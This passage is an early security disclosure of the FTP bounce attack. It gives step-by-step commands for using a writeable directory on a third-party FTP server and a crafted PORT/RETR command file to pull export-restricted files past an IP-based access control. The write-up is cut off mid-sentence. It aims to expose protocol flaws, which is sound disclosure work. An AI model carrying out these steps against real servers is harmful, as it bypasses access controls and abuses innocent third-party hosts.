By MadHatter •NA•
This discusses one of many possible uses of the "FTP server bounce attack". The mechanism used is probably well-known, but to date interest in detailing or fixing it seems low to nonexistent. This particular example demonstrates yet another way in which most electronically enforced "export restrictions" are completely useless and trivial to bypass. It is chosen in an effort to make the reader sit up and notice that there are some really ill-conceived aspects of the standard FTP protocol.

Thanks also to Alain Knaff at imag.fr for a brief but entertaining discussion of some of these issues a couple of months ago which got me thinking more deeply about them.

The motive

You are a user on foreign.fr, IP address F.F.F.F, and want to retrieve cryptographic source code from crypto.com in the US. The FTP server at crypto.com is set up to allow your connection, but deny access to the crypto sources because your source IP address is that of a non-US site [as near as their FTP server can determine from the DNS, that is]. In any case, you cannot directly retrieve what you want from crypto.com's server.

However, crypto.com will allow ufred.edu to download crypto sources because ufred.edu is in the US too. You happen to know that /incoming on ufred.edu is a world-writeable directory that any anonymous user can drop files into and read them back from. Crypto.com's IP address is C.C.C.C.

The attack

This assumes you have an FTP server that does passive mode. Open an FTP connection to your own machine's real IP address [not localhost] and log in. Change to a convenient directory that you have write access to, and then do:

```
quote "pasv"
quote "stor foobar"
```

Take note of the address and port that are returned from the PASV command, F,F,F,F,X,X. This FTP session will now hang, so background it or flip to another window or something to proceed with the rest of this.

Construct a file containing FTP server commands. Let's call this file "instrs". It will look like this:

```
user ftp
```

```
        pass -anonymous@
        cwd /export-restricted-crypto
        type i
        port F,F,F,F,X,X
        retr crypto.tar.Z
        quit
        ^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ ...
^@^@^@^@
        ^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ ...
^@^@^@^@
        ...
```

F,F,F,F,X,X is the same address and port that your own machine handed you on the first connection. The trash at the end is extra lines you create, each containing 250 NULLS and nothing else, enough to fill up about 60K of extra data. The reason for this filler is explained later.

Open an FTP connection to ufred.edu, log in anonymously, and cd to /incoming. Now type the following into this FTP session, which transfers a copy of your "instrs" file over and then tells ufred.edu's FTP server to connect to crypto.com's FTP server using your file as the commands:

```
        put instrs
        quote "port C,C,C,C,0,21"
        quote "retr instrs"
```

Crypto.tar.Z should now show up as "foobar" on your machine via your first FTP connection. If the connection to ufred.edu didn't die by itself due to an apparently common server bug, clean up by deleting "instrs" and exiting. Otherwise you'll have to reconnect to finish.

Discussion

There are several variants of this. Your PASV listener connection can be opened on any machine that you have file write access to -- your own, another connection to ufred.edu, or somewhere completely unrelated. In fact, it does not even have to be an FTP server -- any utility that will listen on a known TCP port and read raw data from it into a file will do. A passive-mode FTP data connection is simply a convenient way to do this.

The extra nulls at the end of the command file are to fill up the TCP windows on either end of the ufred -> crypto connection, and ensure that the command connection stays open long enough for the whole session to be executed. Otherwise, most FTP servers tend to abort all transfers and command processing when the control connection closes prematu